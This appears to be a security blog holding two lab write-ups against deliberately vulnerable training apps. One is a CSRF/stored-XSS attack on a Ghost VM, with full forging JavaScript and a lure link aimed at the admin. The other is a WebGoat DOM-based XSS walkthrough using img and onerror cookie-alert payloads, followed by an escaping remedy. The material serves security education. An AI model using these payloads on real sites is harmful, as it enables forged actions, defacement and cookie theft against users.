Play with CSRF

Cross-Site Request Forgery (CSRF/XSRF)

A kind of Injection vulnerability. Used by hacker to exploit the trust that a site has for the authorized user.
More information please check the reference.

Victim:  Ghost VM (XSS & CSRF), admin user on Ghost server
Attacker:  test user on Ghost server

Attacking process:
1, Log in Gost server as admin user

2, submit "<script>alert(1)</script>" to check if there is XSS vulnerability. Of course it has...

3, use WEB Proxy (such as Burp) to check and analyze how the web application is working...
here, we submit test string "abc" and submit.
Burp capture the first request:

Burp capture the second request:

Now we understand how it works:
There are two requests sent to server. So we need to send two requests when write the attacking script.

we construct the malicious java script:

<script>
function test()
{
  var pd="vuln=<h1>Hacked%20by%20F4l13n5n0w&user=admin";
  var xmlhttp=new XMLHttpRequest();
  xmlhttp.onreadystatechange=function() {
    var xmlhttp2=new XMLHttpRequest();
    xmlhttp2.open("GET", "/ghost/iframe.php?page=form.php", true);
    xmlhttp2.send();
  };
  xmlhttp.open("POST", "/ghost/blogView.php", true);
  xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xmlhttp.send(pd);
}
</script>
Hi admin, Here is a problem. Pls <a href="" onclick="test()">check!</a>

Log in the server as test user and submit the attacking code and then we just waiting for admin to click it.

If the Admin was tricked and click the "check" link. He will submit the sentence "Hacked by F4l13n5n0w" to the server underground.

Have done.


Reference:
[1] http://www.cgisecurity.com/csrf-faq.html
[2] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
[3] http://www.w3schools.com/ajax/ajax_xmlhttprequest_send.asp

WebGoat - DOM Based XSS

Three types of Cross Site Scripting (XSS) Attack:

    Reflected XSS (Non-Persistence)

    Stored XSS (Persistence)

    DOM Based XSS

Reference:

[1] http://www.webappsec.org/projects/articles/071105.shtml

[2] https://www.owasp.org/index.php/DOM_Based_XSS

Stage one solution:

1, Check source code to find javascript or use firebug and choose “Script” and “DOMXSS.js”. We can find the following java script code:

2, As we can see that there is no validation for user’s input. That means we can insert anything as parameter “name”. In this case, we insert:

"<img src="http://192.168.235.134/WebGoat/images/logos/owasp.jpg" />"

3, Then we will get the following result (deface the page with the picture):

Stage two solution:

1, We use image “onerror” event attribute to trigger an alert which is used to show cookie information. In this case, we insert:

"<img src="xxx.gif" onerror="alert(document.cookie)" />"

Where “xxx.gif” is whatever a non-exist image file, which is used to trigger an error event.

3, Then we will get the following result (alert is pop up):

Reference:

[1] http://www.w3schools.com/jsref/event_img_onerror.asp

Stage five (Remedy):

1, Using escapeHTML function defined in “escape.js” to remedy this vulnerability. The escapeHTML function’s content is:

function escapeHTML (str) { var div = document.createElement('div');     // create a new div element var text = document.createTextNode(str);   // create a new text node, put “str” in as text div.appendChild(text); return div.innerHTML; }

2, Modify the DOMXSS.js file to use escapeHTML function.

function displayGreeting(name) { if (name != ''){ document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name)+ "!"; } }

Reference:
[1] https://developer.mozilla.org/en/document.createElement
[1] https://developer.mozilla.org/en/DOM/document.createTextNode